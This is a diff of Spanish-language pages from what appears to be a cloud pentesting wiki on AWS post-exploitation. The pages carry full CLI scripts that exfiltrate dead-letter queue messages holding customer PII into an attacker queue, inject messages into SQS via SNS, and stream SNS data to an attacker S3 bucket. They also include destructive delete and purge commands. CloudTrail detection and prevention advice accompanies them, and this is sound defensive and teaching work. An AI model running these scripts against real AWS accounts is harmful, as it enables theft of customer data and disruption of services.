+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Limpieza
+- Eliminar la suscripción de SNS, el delivery stream de Firehose, los roles/políticas temporales de IAM y el bucket S3 del atacante.
+
+## Impacto
+**Impacto potencial**: Exfiltración continua y duradera de cada mensaje publicado en el SNS topic objetivo hacia un almacenamiento controlado por el atacante con una huella operacional mínima.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Exfiltración Redrive vía StartMessageMoveTask
+
+## Description
+
+Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en las DLQ con el tiempo.
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando no pueden ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
+- Datos sensibles de la aplicación que no pudieron ser procesados
+- Detalles de errores e información para depuración
+- Información de identificación personal (PII)
+- Tokens de API, credenciales u otros secretos
+- Datos de transacciones críticos para el negocio
+
+Las DLQ actúan como un "cementerio" para mensajes fallidos, por lo que son objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** procesa pedidos de clientes a través de SQS
+2. **Some orders fail** (problemas de pago, inventario, etc.) y se mueven a una DLQ
+3. **DLQ accumulates** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Attacker gains access** a credenciales AWS con permisos SQS
+5. **Attacker discovers** que la DLQ contiene miles de pedidos fallidos con datos sensibles
+6. **Instead of trying to access individual messages** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia cola
+7. **Attacker extracts** todos los datos históricos sensibles en una sola operación
+
+## Requirements
+- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna cola).
+- Permisos IAM (ejecutados como el principal de la víctima comprometida):
+- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- En la cola de destino: permiso para entregar mensajes (por ejemplo, política de cola que permita `sqs:SendMessage` desde el principal de la víctima). Para destinos en la misma cuenta esto normalmente está permitido por defecto.
+- Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impact
+Exfiltración de cargas útiles sensibles acumuladas en DLQ (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando APIs nativas de SQS. Funciona cross-account si la política de la cola de destino permite `SendMessage` desde el principal de la víctima.
+
+## How to Abuse
+
+- Identificar el ARN de la DLQ de la víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve).
+- Crear o elegir una cola de destino controlada por el atacante y obtener su ARN.
+- Iniciar una tarea de movimiento de mensajes desde la DLQ de la víctima hacia tu cola de destino con StartMessageMoveTask.
+- Monitorizar el progreso o cancelar si es necesario.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Un atacante ha comprometido credenciales AWS y ha descubierto que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Crear una cola de destino controlada por el atacante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Ejecutar el bulk message theft**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Recopilar los datos sensibles robados**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Notas entre cuentas
+- La cola de destino debe tener una política de recursos que permita al principal de la víctima realizar `sqs:SendMessage` (y, si se usa, concesiones/permisos de KMS).
+
+## Por qué este ataque es efectivo
+
+1. **Característica legítima de AWS**: Utiliza funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso
+2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceso individual y lento
+3. **Datos históricos**: Las DLQs acumulan datos sensibles durante semanas/meses
+4. **Fuera del radar**: Muchas organizaciones no supervisan de cerca el acceso a las DLQs
+5. **Capaz entre cuentas**: Puede exfiltrate a la propia cuenta AWS del atacante si los permisos lo permiten
+
+## Detección y prevención
+
+### Detección
+Supervisar CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevención
+1. **Principio de privilegio mínimo**: Restringe los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
+2. **Monitoreo de DLQs**: Configura alarmas de CloudWatch para actividad inusual en las DLQs
+3. **Políticas entre cuentas**: Revisa cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
+4. **Cifra las DLQs**: Usa SSE-KMS con políticas de claves restringidas
+5. **Limpieza regular**: No permitas que datos sensibles se acumulen en las DLQs indefinidamente

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
-
-Un atacante podría enviar mensajes maliciosos o no deseados a la cola SQS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Impacto Potencial**: Explotación de vulnerabilidades, corrupción de datos, acciones no intencionadas o agotamiento de recursos.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Un atacante podría recibir, eliminar o modificar la visibilidad de los mensajes en una cola SQS, causando pérdida de mensajes, corrupción de datos o interrupción del servicio para las aplicaciones que dependen de esos mensajes.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Impacto Potencial**: Robar información sensible, pérdida de mensajes, corrupción de datos y interrupción del servicio para aplicaciones que dependen de los mensajes afectados.
-
-### `sqs:DeleteQueue`
-
-Un atacante podría eliminar toda una cola SQS, causando pérdida de mensajes e impactando aplicaciones que dependen de la cola.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que utilizan la cola eliminada.
-
-### `sqs:PurgeQueue`
-
-Un atacante podría purgar todos los mensajes de una cola SQS, lo que llevaría a la pérdida de mensajes y a una posible interrupción de las aplicaciones que dependen de esos mensajes.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que dependen de los mensajes eliminados.
-
-### `sqs:SetQueueAttributes`
-
-Un atacante podría modificar los atributos de una cola SQS, afectando potencialmente su rendimiento, seguridad o disponibilidad.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Impacto Potencial**: Configuraciones incorrectas que conducen a un rendimiento degradado, problemas de seguridad o disponibilidad reducida.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SQS, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
-
-### `sqs:RemovePermission`
-
-Un atacante podría revocar permisos para usuarios o servicios legítimos al eliminar políticas asociadas con la cola SQS. Esto podría llevar a disrupciones en el funcionamiento normal de las aplicaciones que dependen de la cola.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Impacto Potencial**: Disrupción del funcionamiento normal de las aplicaciones que dependen de la cola debido a la eliminación no autorizada de permisos.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Un atacante podría enviar mensajes maliciosos o no deseados a la cola SQS, potencialmente causando corrupción de datos, desencadenando acciones no intencionadas o agotando recursos.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Impacto potencial**: Explotación de vulnerabilidades, corrupción de datos, acciones no intencionadas o agotamiento de recursos.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Un atacante podría recibir, eliminar o modificar la visibilidad de mensajes en una cola SQS, provocando pérdida de mensajes, corrupción de datos o interrupción del servicio para las aplicaciones que dependen de esos mensajes.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Impacto potencial**: Robo de información sensible, pérdida de mensajes, corrupción de datos y interrupción del servicio para las aplicaciones que dependen de los mensajes afectados.
+
+### `sqs:DeleteQueue`
+
+Un atacante podría eliminar una cola SQS completa, causando pérdida de mensajes e impactando a las aplicaciones que dependen de la cola.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Impacto potencial**: Pérdida de mensajes e interrupción del servicio para aplicaciones que usan la cola eliminada.
+
+### `sqs:PurgeQueue`
+
+Un atacante podría purgar todos los mensajes de una cola SQS, lo que conduciría a la pérdida de mensajes y a la posible interrupción de las aplicaciones que dependen de esos mensajes.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Impacto potencial**: Pérdida de mensajes e interrupción del servicio para las aplicaciones que dependen de los mensajes eliminados.
+
+### `sqs:SetQueueAttributes`
+
+Un atacante podría modificar los atributos de una cola SQS, afectando potencialmente su rendimiento, seguridad o disponibilidad.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Impacto potencial**: Configuraciones incorrectas que pueden provocar degradación del rendimiento, problemas de seguridad o menor disponibilidad.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SQS, interrumpiendo la asignación de costos de la organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potential Impact**: Interrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
+
+### `sqs:RemovePermission`
+
+Un atacante podría revocar permisos de usuarios o servicios legítimos al eliminar políticas asociadas con la cola SQS. Esto podría provocar interrupciones en el funcionamiento normal de las aplicaciones que dependen de la cola.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Impacto potencial**: Interrupción del funcionamiento normal de las aplicaciones que dependen de la cola debido a la eliminación no autorizada de permisos.
+
+### Más SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descripción
+
+Abusa de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han ido acumulando en las DLQs con el tiempo.
+
+## ¿Qué es una Dead-Letter Queue (DLQ)?
+
+Una Dead-Letter Queue es una cola especial de SQS donde los mensajes se envían automáticamente cuando no pueden ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
+- Datos sensibles de la aplicación que no pudieron procesarse
+- Detalles de errores e información para depuración
+- Información personal identificable (PII)
+- Tokens de API, credenciales u otros secretos
+- Datos de transacciones críticos para el negocio
+
+Las DLQs actúan como un "cementerio" para mensajes fallidos, lo que las convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
+
+## Escenario de ataque
+
+**Ejemplo en el mundo real:**
+1. **Aplicación de e-commerce** procesa pedidos de clientes mediante SQS
+2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a una DLQ
+3. **La DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **El atacante obtiene acceso** a credenciales de AWS con permisos de SQS
+5. **El atacante descubre** que la DLQ contiene miles de pedidos fallidos con datos sensibles
+6. **En lugar de intentar acceder a mensajes individuales** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir al por mayor TODOS los mensajes a su propia cola
+7. **El atacante extrae** todos los datos sensibles históricos en una sola operación
+
+## Requisitos
+- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna cola).
+- Permisos IAM (ejecutados como el principal víctima comprometido):
+- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- En la cola de destino: permiso para entregar mensajes (por ejemplo, una queue policy que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta esto suele estar permitido por defecto.
+- Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impacto
+**Impacto potencial**: Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la policy de la cola de destino permite `SendMessage` desde el principal víctima.
+
+## Cómo abusar
+
+- Identifica el ARN de la DLQ víctima y asegúrate de que esté realmente referenciada como DLQ por alguna cola (cualquier cola sirve).
+- Crea o elige una cola de destino controlada por el atacante y obtén su ARN.
+- Inicia una tarea de movimiento de mensajes desde la DLQ víctima a tu cola de destino.
+- Monitoriza el progreso o cancela si es necesario.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Escenario**: Un atacante ha comprometido credenciales de AWS y ha descubierto que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Crear una cola de destino controlada por el atacante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Ejecutar la exfiltración masiva de mensajes**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Recolectar los datos sensibles robados**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Notas entre cuentas
+- La cola de destino debe tener una política de recursos que permita al principal de la víctima `sqs:SendMessage` (y, si se usan, concesiones/permisos de KMS).
+
+## Por qué este ataque es efectivo
+
+1. **Funcionalidad legítima de AWS**: Utiliza funcionalidades integradas de AWS, lo que dificulta su detección como maliciosa
+2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de accesos individuales y lentos
+3. **Datos históricos**: DLQs acumulan datos sensibles durante semanas/meses
+4. **Fuera del radar**: Muchas organizaciones no supervisan de cerca el acceso a las DLQs
+5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten
+
+## Detección y prevención
+
+### Detección
+Supervisar CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevención
+1. **Principio de mínimo privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
+2. **Monitorear DLQs**: Configurar alarmas de CloudWatch para actividad inusual en DLQs
+3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de colas SQS que permiten acceso entre cuentas
+4. **Encriptar DLQs**: Usar SSE-KMS con políticas de claves restringidas
+5. **Limpieza regular**: No permitir que datos sensibles se acumulen en DLQs indefinidamente
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Description
+
+Abusar de la política de recursos de una cola SQS para permitir que un topic SNS controlado por el atacante publique mensajes en una cola SQS víctima. En la misma cuenta, una suscripción SQS a un topic SNS se confirma automáticamente; en cross-account, debes leer el token SubscriptionConfirmation desde la cola y llamar a ConfirmSubscription. Esto permite la inyección de mensajes no solicitados que los consumidores aguas abajo pueden confiar implícitamente.
+
+### Requirements
+- Capacidad para modificar la política de recursos de la cola SQS objetivo: `sqs:SetQueueAttributes` en la cola víctima.
+- Capacidad para crear/publicar en un topic SNS bajo control del atacante: `sns:CreateTopic`, `sns:Publish`, y `sns:Subscribe` en la cuenta/topic del atacante.
+- Solo entre cuentas: `sqs:ReceiveMessage` temporal en la cola víctima para leer el token de confirmación y llamar a `sns:ConfirmSubscription`.
+
+### Explotación en la misma cuenta
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Notas entre cuentas
+- La política de la cola anterior debe permitir el `TOPIC_ARN` externo (cuenta atacante).
+- Las suscripciones no se auto-confirmarán. Otórgate temporalmente `sqs:ReceiveMessage` en la cola víctima para leer el mensaje `SubscriptionConfirmation` y luego llama a `sns confirm-subscription` con su `Token`.
+
+### Impacto
+**Impacto potencial**: Inyección continua de mensajes no solicitados en una cola SQS confiable vía SNS, que podría desencadenar procesamiento no intencionado, contaminación de datos o abuso de flujos de trabajo.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,18 +1,18 @@
-# AWS - SSO y post explotación de identitystore
+# AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## SSO y identitystore
+## SSO & identitystore
 
 Para más información, consulta:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-Estos permisos pueden ser utilizados para interrumpir permisos:
+Estos permisos pueden usarse para interrumpir permisos:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,184 +0,0 @@
-# AWS - Step Functions Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Para más información sobre este servicio de AWS, consulta:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
-
-> [!NOTE]
->
-> - Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados.
-> - Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias.
-> - No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Impacto Potencial**: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
-
-### `states:UpdateMapRun`
-
